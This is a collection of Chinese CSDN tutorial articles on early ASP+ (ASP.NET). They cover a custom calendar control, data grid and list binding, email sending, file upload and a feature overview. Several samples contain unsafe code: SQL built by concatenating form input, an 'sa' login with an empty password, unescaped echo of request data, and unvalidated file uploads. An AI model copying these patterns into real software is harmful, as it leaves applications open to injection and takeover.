在asp+中提供了45个已经做好了的服务器控件，我们可以将他们象黑盒子一样的使用。除此以外，开发者还可以使用任何第三方开发的服务器控件
在下面的例子中，我们要用到一个通过<acme:calendar runat=server>标签声明的组件，请注意，在文件的第一行必须使用<% Register %> 来声明 "Acme Xml "标签的的前缀"Acme".在asp+ 文件中，将会使用这个命名的服务器控件的类的实例。
<%@ Register TagPrefix="Acme" Namespace="Acme" %>

<html>
<head>
<link rel="stylesheet"href="intro.css">
</head>

<script language="VB" runat=server>

Sub SubmitBtn_Click(Sender As Object, E As EventArgs)
Message.Text = "Hi " & Name.Text & ", you selected: " & Category.SelectedItem.Text & " on: " & MyCal.Date
End Sub

</script>

<body>

<center>

<form action="intro7.aspx" method="post" runat="server">

<asp:adrotator AdvertisementFile="ads.xml" BorderColor="black" BorderWidth=1 runat="server"/>

<h3> Name: <asp:textbox id="Name" runat="server"/>

Category: <asp:dropdownlist id="Category" runat=server>
<asp:listitem >psychology</asp:listitem>
<asp:listitem >business</asp:listitem>
<asp:listitem >popular_comp</asp:listitem>
</asp:dropdownlist>

<asp:button type=submit text="Lookup" OnClick="SubmitBtn_Click" runat="server"/>

<p>

<Acme:Calendar id="MyCal" runat=server/>

<p>

<asp:label id="Message" runat="server"/>

</form>

</center>

</body>
</html>

声明Acme 的 文件
using System;
using System.Web;
using System.Web.UI;
using System.Collections;

namespace Acme
{
public class Calendar : Control, IPostBackEventHandler, IPostBackDataHandler
{
private String[] monthNames = new String[12];
private DateTime currentDate = DateTime.Now;
private String backColor = "#dcdcdc";
private String foreColor = "#eeeeee";

protected override void Init()
{
// Todo: We should remove the need to call this
Page.RegisterRequiresPostBack(this);
Page.RegisterPostBackScript();

currentDate = DateTime.Now;

// Todo: Hack needed because COOL doesn't support array initializers yet
monthNames[0] = "January";
monthNames[1] = "February";
monthNames[2] = "March";
monthNames[3] = "April";
monthNames[4] = "May";
monthNames[5] = "June";
monthNames[6] = "July";
monthNames[7] = "August";
monthNames[8] = "September";
monthNames[9] = "October";
monthNames[10] = "November";
monthNames[11] = "December";
}

protected override void LoadState(Object viewState)
{
// If we've done a post-back, the old date will be available to us

if (null != viewState)
{
currentDate = DateTime.Parse((String) viewState);
}
}

public void RaisePostBackEvent(String eventArgument)
{
//Page.Response.Write("RaisePostBackEvent Called!!!");

if (eventArgument == null)
{
return;
}

// Keep track of old date (for event firing purposes)

DateTime oldDate = currentDate;

// Todo: We should have post-back take two arguments: eventname and eventarguments

if (String.Compare("NavNextMonth", eventArgument, true) == 0)
{
currentDate = currentDate.AddMonths(1);
}
else if (String.Compare("NavPrevMonth", eventArgument, true) == 0)
{
currentDate = currentDate.AddMonths(-1);
}
else
{
int daySelected = Int32.Parse(eventArgument);
currentDate = new DateTime(currentDate.Year, currentDate.Month, daySelected);
}
}

protected override Object SaveState()
{
// Save CurrentDate out as view state for postback scenarios

return currentDate.ToString();
}

protected override void Render(HtmlTextWriter output)
{
//Response.Write(Page.Request.UserAgent);

if (Page.Request.UserAgent.IndexOf("MSIE 5.5") != -1)
RenderUpLevel(output);
else
RenderDownLevel(output);
}

protected void RenderUpLevel(HtmlTextWriter output)
{
output.WriteLine("<input name='" + UniqueID + "_CurrentDate' id='" + UniqueID + "_CurrentDate' type=hidden>");
output.WriteLine("<span id='" + UniqueID + "'></span>");
output.WriteLine("<script language=jscript>drawcalendar('" + UniqueID + "', '" + Int32.Format(currentDate.Year, null) + "/" + Int32.Format(currentDate.Month, null) + "/" + Int32.Format(currentDate.Day, null) + "');</script>");
}

protected override void PreRender()
{
String DHTMLFunction = "";

DHTMLFunction += "<script language='JavaScript'> \n";
DHTMLFunction += " function drawcalendar(calname, newDate) \n";
DHTMLFunction += " { \n";
DHTMLFunction += " var CurrentDate = new Date(newDate);\n";
DHTMLFunction += " var MonthArray = new Array('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');\n";
DHTMLFunction += " var MonthDays = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);\n";
DHTMLFunction += " var calText;\n";
DHTMLFunction += " calText = '<table bgcolor=#dcdcdc border=0 height=190 valign=top>';\n";
DHTMLFunction += " calText = calText + '<tr><td>';\n";
DHTMLFunction += " calText = calText + '<center>';\n";
DHTMLFunction += " calText = calText + \"<a href='javascript:drawcalendar(\\\"\" + calname + \"\\\", \\\"\" + CurrentDate.getFullYear() + \"/\" + CurrentDate.getMonth() + \"/\" + CurrentDate.getDate() + \"\\\")'>\";\n";
DHTMLFunction += " calText = calText + '<img src=/quickstart/aspplus/images/left4.gif width=11 height=11 border=0></a>';\n";
DHTMLFunction += " calText = calText + ' <b>' + MonthArray[CurrentDate.getMonth()] + ' ' + CurrentDate.getFullYear() + '</b>';\n";
DHTMLFunction += " calText = calText + \" <a href='javascript:drawcalendar(\\\"\" + calname + \"\\\", \\\"\" + CurrentDate.getFullYear() + \"/\" + (CurrentDate.getMonth() + 2) + \"/\" + CurrentDate.getDate() + \"\\\")'>\";\n";
DHTMLFunction += " calText = calText + '<IMG SRC=/quickstart/aspplus/images/right4.gif width=11 height=11 border=0></a>';\n";
DHTMLFunction += " calText = calText + '</center>';\n";
DHTMLFunction += " calText = calText + '</td></tr>';\n";
DHTMLFunction += " calText = calText + '<tr valign=top><td valign=top>';\n";
DHTMLFunction += " calText = calText + '<table border=1 bgcolor=#eeeeee height=160>';\n";
DHTMLFunction += " calText = calText + '<tr height=20>';\n";
DHTMLFunction += " calText = calText + ' <td align=right width=23> Sun </td>';\n";
DHTMLFunction += " calText = calText + ' <td align=right width=23> Mon </td>';\n";
DHTMLFunction += " calText = calText + ' <td align=right width=23> Tue </td>';\n";
DHTMLFunction += " calText = calText + ' <td align=right width=23> Wed </td>';\n";
DHTMLFunction += " calText = calText + ' <td align=right width=23> Thu </td>';\n";
DHTMLFunction += " calText = calText + ' <td align=right width=23> Fri </td>';\n";
DHTMLFunction += " calText = calText + ' <td align=right width=23> Sat </td>';\n";
DHTMLFunction += " calText = calText + '</tr>';\n";
DHTMLFunction += " calText = calText + '<tr>';\n";
DHTMLFunction += " var numDays = MonthDays[CurrentDate.getMonth()];\n";
DHTMLFunction += " var firstDay = new Date(1999, 8, 1).getDay();\n";
DHTMLFunction += " for (var x=0; x<firstDay; x++)\n";
DHTMLFunction += " {\n";
DHTMLFunction += " calText = calText + '<td align=right width=23></td>'\n";
DHTMLFunction += " }\n";
DHTMLFunction += " for (var x=1; x<=numDays; x++) \n";
DHTMLFunction += " { \n";
DHTMLFunction += " if (CurrentDate.getDate() == x) \n";
DHTMLFunction += " { \n";
DHTMLFunction += " calText = calText + '<td align=right width=23>';\n";
DHTMLFunction += " calText = calText + '<font color=red><b><u>' + x + '</u></b></font>';\n";
DHTMLFunction += " calText = calText + '</td>';\n";
DHTMLFunction += " }\n";
DHTMLFunction += " else \n";
DHTMLFunction += " { \n";
DHTMLFunction += " calText = calText + '<td align=right width=23>';\n";
DHTMLFunction += " calText = calText + \"<a href='javascript:drawcalendar(\\\"\" + calname + \"\\\", \\\"\" + CurrentDate.getFullYear() + \"/\" + (CurrentDate.getMonth()+1) + \"/\" + x + \"\\\")'>\" + x + \"</a>\";";
DHTMLFunction += " calText = calText + '</td>';\n";
DHTMLFunction += " }\n";
DHTMLFunction += " if (((firstDay+x) % 7) == 0)\n";
DHTMLFunction += " {\n";
DHTMLFunction += " calText = calText + '</tr><tr>';\n";
DHTMLFunction += " }\n";
DHTMLFunction += " }\n";
DHTMLFunction += " calText = calText + '</tr>';";
DHTMLFunction += " calText = calText + '</table></td></tr></table>';";
DHTMLFunction += " var CalendarSpan = document.all(calname);";
DHTMLFunction += " if (CalendarSpan != null)";
DHTMLFunction += " CalendarSpan.innerHTML = calText;";
DHTMLFunction += " var CalendarValue = document.all(calname + '_CurrentDate');";
DHTMLFunction += " if (CalendarValue != null)";
DHTMLFunction += " CalendarValue.value = '' + (CurrentDate.getMonth() + 1) + '/' + CurrentDate.getDate() + '/' + CurrentDate.getFullYear();";
DHTMLFunction += " } \n";
DHTMLFunction += "</script>\n";

if (Page.Request.UserAgent.IndexOf("MSIE 5.5") != -1)
Page.RegisterClientScriptBlock("ACME_CALENDAR_DHTML", DHTMLFunction);
}

protected void RenderDownLevel(HtmlTextWriter output)
{
// Output Calendar Header

output.WriteLine("<table bgcolor=" + backColor + " border=0 height=190 valign=top><tr><td>");
output.WriteLine("<table bgcolor=" + backColor + " border=0 height=190 valign=top>");
output.WriteLine("<tr><td>");
output.WriteLine("<center>");
output.WriteLine(" <a href=\"javascript:" + Page.GetPostBackEventReference(this, "NavPrevMonth") + "\">");
output.WriteLine("<img src=/quickstart/aspplus/images/left4.gif width=11 height=11 border=0></a>");
output.WriteLine(" <b>" + monthNames[currentDate.Month-1] + " " + Int32.Format(currentDate.Year, null) + "</b>");
output.WriteLine(" <a href=\"javascript:" + Page.GetPostBackEventReference(this, "NavNextMonth") + "\">");
output.WriteLine("<IMG SRC=/quickstart/aspplus/images/right4.gif width=11 height=11 border=0></a>");
output.WriteLine("</center>");
output.WriteLine("</td></tr>");
output.WriteLine("<tr valign=top><td valign=top>");
output.WriteLine("<table border=1 bgcolor=" + foreColor + " height=160>");
output.WriteLine("<tr height=20>");
output.WriteLine(" <td align=right width=23> Sun </td>");
output.WriteLine(" <td align=right width=23> Mon </td>");
output.WriteLine(" <td align=right width=23> Tue </td>");
output.WriteLine(" <td align=right width=23> Wed </td>");
output.WriteLine(" <td align=right width=23> Thu </td>");
output.WriteLine(" <td align=right width=23> Fri </td>");
output.WriteLine(" <td align=right width=23> Sat </td>");
output.WriteLine("</tr>");
output.WriteLine("<tr>");

// Calculate how many days are in the month

int numDays = DateTime.DaysInMonth(currentDate.Year, currentDate.Month);

// Calculate what day of week the first day of the month is on

int firstDay = new DateTime(currentDate.Year, currentDate.Month, 1).DayOfWeek;

// Pre-Day Padding

for (int x=0; x<firstDay; x++)
{
output.WriteLine("<td align=right width=23></td>");
}

// Output each day

for (int x=1; x<=numDays; x++)
{
if (currentDate.Day == x)
{
output.Write("<td align=right width=23>");
output.Write("<font color=red><b><u>" + Int32.Format(x, null) + "</u></b></font>");
output.WriteLine("</td>");
}
else
{
output.Write("<td align=right width=23>");
output.Write("<a href=\"javascript:" + Page.GetPostBackEventReference(this, Int32.Format(x, null)) + "\">");
output.Write(Int32.Format(x, null) + "</a>");
output.WriteLine("</td>");
}

// PerPage row break as appropriate
if (((firstDay+x) % 7) == 0)
{
output.WriteLine("</tr><tr>");
}
}

output.WriteLine("</tr>");
output.WriteLine("</table></td></tr></table></table>");
}

public DateTime Date
{
get
{
return currentDate;
}
set
{
currentDate = value;
}
}

public String BackColor
{
get
{
return backColor;
}
set
{
backColor = value;
}
}

public String ForeColor
{
get
{
return foreColor;
}
set
{
foreColor = value;
}
}

// Todo: We should eliminate the need for a control developer to do stub
// implementations of the below standard IPostDataHandler Methods

public bool LoadPostData(String postDataKey, NameValueCollection values)
{
String clientDate = values[UniqueID + "_CurrentDate"];

if (clientDate != null)
currentDate = DateTime.Parse(clientDate);

return false;
}

public void RaisePostDataChangedEvent()
{

}
}
}

生成服务器控件的文件

csc /t:library /r:System.Web.dll /r:System.dll /out:..\..\..\bin\Acme.dll Acme.cs
csc /t:library /out:..\..\..\bin\WebMarket.dll WebMarket.cs

这个例子的演示在
http://tutorial.superexpert.com/quickstart/aspplus/samples/webforms/intro/intro7.aspx
这个日历的服务器控件可以同时支持高级和低级的浏览器，对于高级的浏览器，他在客户端生成DHTML 代码，DHTML 文档不需要和服务器进行交互！对于低级的浏览器，则生成标准的 HTML 3.2 的代码，这个时候需要和服务器的交互来处理浏览器客户端的用户操作
注意：这个页面的代码的开发者在书写的过程中，开发者不需要关心客户浏览器是高级的还是低级的。日历控件自己会处理两种浏览器之间的差别
下一讲，我们将要进入asp+ 操作 数据库 的章节，请大家随时留意我们的站点更新！


csdn_asp+语法介绍(六)----数据库篇

  asp+语法介绍(六)----数据库篇
作者： 豆腐
列表，数据和数据棒定
asp+ 给我们提供了一套数据表格和数据列表的控件。这些控件可以帮助我们定制我们UI(user interFace 用户界面)而不去考虑一种数据库或者其他的数据库。例如：在下面的例子中，我们将要介绍一下<asp:datagrid runat=server>控件是怎么样通过sql 语句给我们提供数据的
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SQL" %>

<html>
<head>
<link rel="stylesheet"href="intro.css">
</head>

<script language="VB" runat=server>

Sub SubmitBtn_Click(Sender As Object, E As EventArgs)

Dim DS As DataSet
Dim MyConnection As SQLConnection
Dim MyCommand As SQLDataSetCommand
'以下是数据库联结
MyConnection = New SQLConnection("server=localhost;uid=sa;pwd=;database=pubs")
MyCommand = New SQLDataSetCommand("select * from Titles where type='" + Category.SelectedItem.Value + "'", myConnection)

DS = new DataSet()
MyCommand.FillDataSet(DS, "Titles")

MyList.DataSource = DS.Tables("Titles").DefaultView
MyList.DataBind()

End Sub

</script>

<body>

<center>

<form action="intro75.aspx" method="post" runat="server">

<asp:adrotator AdvertisementFile="ads.xml" BorderColor="black" BorderWidth=1 runat="server"/>

<h3> Name: <asp:textbox id="Name" runat="server"/>

Category: <asp:dropdownlist id="Category" runat=server>
<asp:listitem >psychology</asp:listitem>
<asp:listitem >business</asp:listitem>
<asp:listitem >popular_comp</asp:listitem>
</asp:dropdownlist>

<asp:button type=submit text="Lookup" OnClick="SubmitBtn_Click" runat="server"/>

<p>

<ASP:DataGrid id="MyList" HeaderStyle-BackColor="#aaaadd" BackColor="#ccccff" runat="server"/>

</form>

</center>

</body>

</html>
这个例子的运行示例在
http://tutorial.superexpert.com/quickstart/aspplus/samples/webforms/intro/intro75.aspx

数据表格(data grid)控件 <asp:datagrid runat=server>
给我们提供了一种非常简单的方法用传统的UI截面去显示数据查询的结果.Asp+ 的开发者现在还可以通过<asp:dataList runat=server>
来定制数据列表显示来定制信息

<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SQL" %>

<html>
<head>
<link rel="stylesheet"href="intro.css">
</head>

<script language="VB" runat=server>

Sub SubmitBtn_Click(Sender As Object, E As EventArgs)

Dim DS As DataSet
Dim MyConnection As SQLConnection
Dim MyCommand As SQLDataSetCommand

MyConnection = New SQLConnection("server=localhost;uid=sa;pwd=;database=pubs")
MyCommand = New SQLDataSetCommand("select * from Titles where type='" + Category.SelectedItem.Value + "'", myConnection)

DS = new DataSet()
MyCommand.FillDataSet(DS, "Titles")

MyList.DataSource = DS.Tables("Titles").DefaultView
MyList.DataBind()

End Sub

</script>

<body>

<center>

<form action="intro8.aspx" method="post" runat="server">

<asp:adrotator AdvertisementFile="ads.xml" BorderColor="black" BorderWidth=1 runat="server"/>

<h3> Name: <asp:textbox id="Name" runat="server"/>

Category: <asp:dropdownlist id="Category" runat=server>
<asp:listitem >psychology</asp:listitem>
<asp:listitem >business</asp:listitem>
<asp:listitem >popular_comp</asp:listitem>
</asp:dropdownlist>

<asp:button type=submit text="Lookup" OnClick="SubmitBtn_Click" runat="server"/>

<p>

<asp:datalist id="MyList" repeatcolumns="2" borderwidth="0" runat="server">

<template name="itemtemplate">

<table>
<tr>

<td>
<img src='<%# DataBinder.Eval(Container.DataItem, "title_id", "/quickstart/aspplus/images/title-{0}.gif") %>'>
</td>

<td width=250 valign=top>

<b><%# DataBinder.Eval(Container.DataItem, "title") %></b>

<br><br>

Price: <%# DataBinder.Eval(Container.DataItem, "price", "${0}") %>
</td>

</tr>
</table>

</template>

</asp:datalist>

</form>

</center>

</body>

</html>

这个程序的运行例子在
http://tutorial.superexpert.com/quickstart/aspplus/samples/webforms/intro/intro8.aspx


csdn_asp+发送email

  asp+发送email
作者：飞鸟
html1.htm
---------------------------------------------------------------------
<html>
<head>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=gb2312">
</head>
<body>

<form method="post" name="frmEmail" action="email.aspx" >
发送邮件给:<input type="text" name="mailto" size="30" value="someone@chinaasp.com"><br><br>
<input type="submit" value="ASP+ 邮件发送" name="cmdSubmit">
</form>
</body>
</html>

emal.aspx
---------------------------------------------------------------------
<%@ Import Namespace="System.Web.Util" %>
<script language="VB" runat=server ID=Script1>

Sub Page_load(Sender as Object, E as EventArgs)

Dim MyMail as New MailMessage

MyMail.To = request.form("mailto")
MyMail.From = "webmaster"
MyMail.Subject = "webmaster给您发了一封电子邮件"

MyMail.BodyFormat = MailFormat.Html

MyMail.Body = "<html><body><h1><a href='http://www.chinaasp.com'>ChinaASP.com</a> 使用ASP+程序给你发了一封EMail! Hohoho!</h1></body></html>"
SmtpMail.Send(MyMail)

End Sub

</script>
<html>
<head>
<title>ASP+邮件发送</title>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
一封HTML格式邮件发送到了:<br>
<h1><% response.write(request.form("mailto")) %></h1>

</body>
</html>

--------------------------------------------------------------
我注意到了3点问题：

System.Web.Util
居然在vs7的msdn library里面没有找到这个内容 :(
所以没法了解更多详细内容了。

为了让程序发送邮件，你必须开启smtp server,并正确设置之
微软只使用自己的东西，这一点让我感觉很不爽。
我使用的是拨号，用mmc编辑smtp server的属性，绑定smtp服务到我拨号时候获得的IP上，就能成功发送邮件了。

让程序正确使用中文
你必须在当前web目录的config.web中加上下列语句
<globalization
requestencoding="gb2312"
responseencoding="gb2312"
/>
或者你也可以
修改winnt\complus\v2000.14.1812目录中的config.web文件
<globalization
requestencoding="gb2312"
responseencoding="gb2312"
/>


csdn_ASP+全新接触

  ASP+全新接触
作者： · 赵于·

    ASP+是ASP的下一代版本，然而ASP+又并非从ASP3.0自然演化而来，在许多方面，ASP+与ASP有着本质的不同。ASP+完全基于模块与组件，具有更好的可扩展性与可定制性，数据处理方面更是引入了许多激动人心的新技术，正是这些具有革新意义的新特性，让ASP+远远超越了ASP，同时也提供给web开发人员更好的灵活性，有效缩短了web应用程序的开发周期。ASP+与Windows 2000 Server/Advanced Server的完美组合，为中小型乃至企业级的web商业模型提供了一个更为稳定，高效，安全的运行环境。

    一.构造ASP+的运行及开发环境

    迄今为止，ASP+尚处于测试阶段，至于我们目前所见到的有关ASP+的测试性评论，一部分是基于2000年7月份Microsoft的专业开发人员大会上发布的Beta版ASP+作出，另一部分则是基于.NET Framework SDK预览版中附带的ASP+作出，.NET Framework SDK预览版可以从MSDN上下载。
    ASP+被设计成与ASP并行运行，这就意味着你可以在你的机器上同时使用ASP+，ASP两个版本。

    总结一下，目前运行ASP+的系统需求是的：

    1.服务器端：

    1) Windows 2000 Server/Advanced Server，或Windows 2000 professional

    2) IIS5.0

    3) ASP+或Microsoft .NET Framework SDK

    2.客户端：

    Internet Explorer5.5

    ASP+的开发环境：

    首选Visual Studio 7.0（具有所见即所得的设计器与调试器，专为基于VB，C#，C++的ASP+编程而设计）。当然，如果你是高手，使用NotePad或Visual Studio6.0或是Visual Interdev也不稀奇，只是它们都不支持新的对象语法和服务器端控件。

    ASP+的开发语言：

    VB(是时候对VBScript说ByeBye了)，事实上，更准确地说是Visual Basic .NET。此外还可用C#以及JScript来开发。

    二. ASP+的四大新特性

    1. ASP+基于全新的架构

    ASP+是完全基于NGWS运行时框架的。

    NGWS运行时框架(NGWS runtime framework)是Microsoft提出的面向下一代web的.NET架构的核心组成部分。NGWS运行时是一种全新的针对Windows的底层基础架构，它位于Windows的运行和用户程序之间，被用来管理代码的执行。它在开发者和操作系统之间提供一种封装，使Windows编程变得更加简单。NGWS运行时是完全基于对象的，它扩展了COM(Component Object Model，组件对象模型)的结构，为可扩展分布式应用程序提供了更多的新的增强性服务。有了NGWS运行时，我们再不必为忘记将ASP+页面中某个对象清零而担心，因为它会自动处理内存垃圾回收。同时一些对操作系统至关重要的底层服务的访问也变得更为轻松，安全性，认证，文件系统访问，网络信息，等等等等。。。一切都不成问题！

    2.ASP+通过编译来执行

    ASP+针对ASP的执行表现作了许多改进，页面脚本不再通过解释来执行，而是通过NGWS(Next Generation Web Services，下一代web服务)兼容的编译器编译来执行。别误会！我们所指的编译不是要你生成.EXE文件。

    你仍然和以前一样编写代码，编译工作在脚本代码第一次收到请求并运行时由NGWS运行时自动完成，同时保存一份缓存的拷贝。当脚本再次收到请求时，系统直接运行缓存的拷贝，从而大大加快了执行速度，因为我们现在运行的是经过编译的代码。

    如果源脚本有了改动，运行时会自动从缓存中丢弃旧的编译版本，以便下次收到执行请求时重新编译代码。

    3.数据缓存技术

    好了，现在我们有了一个更快的编译过的ASP+，但是这还是不够。设想一下这样的情形：你有一个动态生成的ASP+页面，该页面的内容源于一个后台数据库，而这个数据库可能好几天才得以更新一次。。。现在，假设你的服务器收到了来自客户端的一个请求，服务器会与数据库建立连接，执行查询，取回记录，反馈给用户，很简单，对吗？可是当服务器在同一时间要处理成千上万的相同的请求，会产生什么样的后果呢？毫无疑问，结果是无谓的重复运算与可怕的系统资源占用。

    这就是为什么要用到数据缓存技术。

    在ASP+中，当服务器第一次从数据库中取回数据后，数据被保存在变量中，当服务器接到相同的请求后，经过缓存的数据直接从服务器传递到客户端，现在我们可以不必打搅数据库了。

    当然，你得在代码中设定数据的缓存期限，到了规定的时间或满足特定的条件，就清空缓存，取回新的数据。至于如何来设定缓存的期限，就完全取决于你的需求与技巧了。

    4.ADO+，更易于使用的ADO

    好马配好鞍，Microsoft在推出ASP+的同时，也推出了全新的ADO，即ADO+。ADO+以一种n维(n-dimensional)的，面向对象的方式来处理数据。在ADO中，数据以二维的形式表现出来，即行，列。但如果RecordSet中有一个特定的行列本身又是一个RecordSet，从而形成一个新的维度呢？这样的情况在ADO中很棘手，而用ADO+创建这样的多维RecordSet却只是举手之劳。

    事实上，上面所说的RecordSet在ADO+中已不复存在，取而代之的是DataSet。在ADO+中，DataSet相当于RecordSet的集合，DataView则类似于RecordSet。

    三.服务器端控件

    ASP+的另一个诱人之处就是增加了更多好用的服务器端控件，Microsoft显然很好地听取了web开发者的反馈，新增的控件不仅增强了ASP+的功能，同时将以往让开发者们头痛的许多繁琐重复的工作都交给控件去完成了。以下是对这些控件的大致分类：

    1.List controls

    这类控件使你在客户端浏览器中创建列表变得更加轻松简单，同时给你更多的可定制性，现在你可以花更少的精力在页面布局上了。例子有：Repeater, DataList以及DataGrid controls

    2.Rich controls

    这类控件被用来在客户端生成更复杂，丰富的HTML元素。如：calender Control

    3.Validation controls

    验证控件属于隐式控件，它们被用来执行客户端与服务器端的验证。这类控件的数量相当之多，可以完成以前需要手工编写代码的各式各样的验证任务，程序员现在可以省去大量的If... else语句了。如：RequiredFieldValidator control, CompareValidator control, RangeValidator control, and RegularExpressionValidator control

    4.其他

    包括Intrinsic controls，以及我们渴望已久的SendMail组件，加/解密组件，可以自定义的执行表现记数器，可以读写NT日志的组件，网络访问组件。。。等等。

    四. ASP+的最终版本

    很显然，预览版的ASP+与运行时框架还不是十全十美的。虽然它们足以体现ASP+的新特性，然而最终版本的ASP+要比我们正在讨论的这个版本支持更多的功能，而且更加完善，它包含一些我们目前无法实现的特性：

    1.支持多种Windows平台

    这些平台包括：Windows 2000，Windows NT4.0，Windows95/98。而预览版本仅支持Windows 2000 server与Windows professional。针对Windows 95/98的ASP+在功能上有所限制，所以只能称其为“个人版”。

    2.XHTML兼容

    目前，由服务器端ASP+控件产生的输出是基本的HTML3.2，和XHTML并不兼容。XHTML由W3C(World Wide Web Consortium)推荐，如果输出和XHTML兼容，那么XML语法分析器就能正确地操控这些内容，否则就会出错。

    Microsoft正试图让ASP+最终版的服务器端控件能够生成XHTML兼容的代码，然而由于客户端浏览器的差别，兼容的程度现在仍很难预测。

    3.新的管理工具

    最终版的ASP+将包含能让你轻松维护与配置程序的管理工具。你将看到能管理诸如config.web，global.asax之类文件的工具，它能以图形化的界面让你看到程序的执行状况，以及调试整个程序时的跟踪细节。


csdn_ASP+上载例子

  ASP+上载例子
作者： 花君
下面是用ASP+来纺写的上载例子！！在ASP中我们就才上载有许多组件:

<html>

<script language="VB" runat=server>
'VB代码
Sub UploadBtn_Click(Sender as Object, E as EventArgs)
'以test.jpg上载为例
UploadFile.PostedFile.SaveAs(Server.MapPath("test.jpg"))

MyImage.ImageUrl = "test.jpg"

MyImage.Visible = true

End Sub

</script>

<body>

<form enctype="multipart/form-data" runat=server>

<h3>

选择要上载的文件:

<input id="UploadFile" type=file runat=server name="file">

<asp:button text="Upload Me!" onClick="UploadBtn_Click" runat=server/>

<hr>

<asp:image id="MyImage" visible=false runat=server/>

</form>

</body>

</html>

下面是一个更详细的例子,其可以上载文件！还用了 System.Drawing APIs 重新定议了图象, 同时还在图片上加上你的文字，我是用 C#编写的 -- 你也可以用VB、Jscript来写。

<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Drawing" %>
<%@ Import Namespace="System.Drawing.Imaging" %>

<html>

<script language="C#" runat=server>

void UploadBtn_Click(Object sender, EventArgs e)
{
UploadFile.PostedFile.SaveAs(Server.MapPath("test.jpg"));
ImageEditor.Visible = true;
}

void UpdateBtn_Click(Object sender, EventArgs e)
{
System.Drawing.Image image = System.Drawing.Image.FromFile(Server.MapPath("test.jpg"));
System.Drawing.Image newimage = new Bitmap(image.Width, image.Height, PixelFormat.Format32bppRGB);
Graphics g = Graphics.FromImage(newimage);
g.DrawImage(image,0,0,image.Width,image.Height);
Font f = new Font("Lucida Sans Unicode", Int32.Parse(FontSize.SelectedItem.Text));
Brush b = new SolidBrush(Color.Red);
g.DrawString(Caption.Text, f, b, 10, 140);
g.Dispose();
System.Drawing.Image thumbImage = newimage.GetThumbnailImage(Int32.Parse(Width.Text),Int32.Parse(Height.Text),null,0);
image.Dispose();
thumbImage.Save(Server.MapPath("test.jpg"), ImageFormat.JPEG);
}

</script>

<body>

<form enctype="multipart/form-data" runat=server>

<h3>

选择要上载的文件:
<input id="UploadFile" type=file runat=server name="file2">

<asp:button text="Upload Me!" onClick="UploadBtn_Click" runat=server/>

<hr>
<asp:panel id="ImageEditor" visible=false runat=server>
<img src="test.jpg">
<h3>
图象的宽度: <asp:textbox id="Width" runat=server/>
图象的高度: <asp:textbox id="Height" runat=server/>
<br>
文字的内容: <asp:textbox id="Caption" runat=server/>
文字的大小: <asp:dropdownlist id="FontSize" runat=server>
<asp:listitem>14</asp:listitem>
<asp:listitem>18</asp:listitem>
<asp:listitem>26</asp:listitem>
<asp:listitem>36</asp:listitem>
<asp:listitem>48</asp:listitem>
<asp:listitem>62</asp:listitem>
</asp:dropdownlist>
<asp:button text="Update Image" onClick="UpdateBtn_Click" runat=server/>
</h3>
</asp:panel>
</form>
</body>
</html >


csdn_将HTML表格转换为ASP+数据列表（DataList）

  将HTML表格转换为ASP+数据列表（DataList）
作者： 雨晨
     我们从数据存储中取回的数据将被用来显示eVille提供的下两节课程。基于页面设计方面的考虑，标准的表格在这里并不合适。数据需要以一种自定义的格式展示，用来显示课程名，课程描述，以及报名的链接（该链接通过QueryString传递Session_ID）。下面是原始的ASP页面利用ADO记录集创建的一个循环，该循环为每条记录创建一个新的行。

     < table width="100%" border="0">

     < tr>

     < td class="headerRow">Upcoming Events< /td>

     < /tr>

     < %Do While Not rsUpcoming.EOF%>

     < tr>

     < td>< p>< b>< %=rsUpcoming("Title")%>< /b>< br>

     < %=rsUpcoming("Description")%>< /p>

     < p>< a href="enroll.asp?SessionID=< %=rsUpcoming("Session_ID")%>">

     Enroll Now!< /a>< /p>< br>

     < /td>

     < /tr>

     < %

     rsUpcoming.MoveNext

     Loop

     %>

     < /table>

     在ASP+中，我们利用新的服务器控件，DataList。ASP+ DataList是用来创建自定义页面布局的新控件中的一种，这些布局都是基于表格的。DataList通过你赋予的属性来创建表格的行与列，同时使用Template来控制布局。在下面的例子中，我们使用ItemTemplate来格式化每行的布局。该templates控制每个显示出来的单元的布局（一个记录对一个单元）：

     < tr>

     < td class="headerRow">Upcoming Events< /td>

     < /tr>

     < /table>

     < asp:DataList id="dlUpcoming" width="100%" runat="server">

     < template name = "ItemTemplate">

     < p>< b>< %# Container.DataItem("Title") %>< /b>< br/>

     < %# Container.DataItem("Description") %>< /p>

     < p>< a href="enroll.asp?SessionID=< %# Container.DataItem("Session_ID") %>">

     Enroll Now!< /a>< /p>< br/>

     < /template>

     < /asp:DataList>

     缺省情况下，DataList创建一个单列的表格。通过改变它的一系列属性可使其创建多个列：

     < asp:DataList id="dlUpcoming" width="100%"

     RepeatDirection="Horizontal"

     RepeatColumns="2"

     runat="server">

     其他的数据显示控件包括DataGrid（标准表格布局）和Repeater（完全自定义布局）。

     如果我们现在来看页面，表中的任何内容都不会显示出来。这是因为我们虽然设计了布局，却没提供数据。我们必须显式地将数据（DataSet中的一个DataView）绑定到ASP+ DataList控件。通过设置DataSource属性，调用将要显示数据的控件的DataBind()方法，我们可以做到这一点。

     由于ASP+ web应用程序在运行前经过编译，我们毋须遵循页面上的线性处理流程。即使DataList的ID直到页面代码的中部才被确定（当我们实际将控件放在页面上时），我们还是可以在页面起始部分的Page_Load事件中指定控件。这样一来，当页面装载时数据就已经被绑定到控件。

     < script language="vb" runat=server>

     Sub Page_Load(Source As Object, E As EventArgs)

     . . .

     cmdUpcoming.FillDataSet(dsUpcoming, "Upcoming")

     dlUpcoming.DataSource = dsUpcoming.Tables("Upcoming").DefaultView

     dlUpcoming.DataBind()

     End Sub

     < /script>

     使用诸如DataList这样的ASP+服务器控件，使我们能有计划性地访问该控件。这样我们便可以针对它的属性以及方法来编写代码。在第一行中，我们将DataList的DataSource属性设为DataSet中的DataView（一个单独的数据表）。我们特别将它设为DataSet的表集中的Upcoming表的缺省视图（view）。设置了DataSource后，我们就调用DataList控件的DataBind()方法，将SQL的查询结果绑定到DataList控件。


csdn_走近asp.net

  走近asp.net
作者： yesky
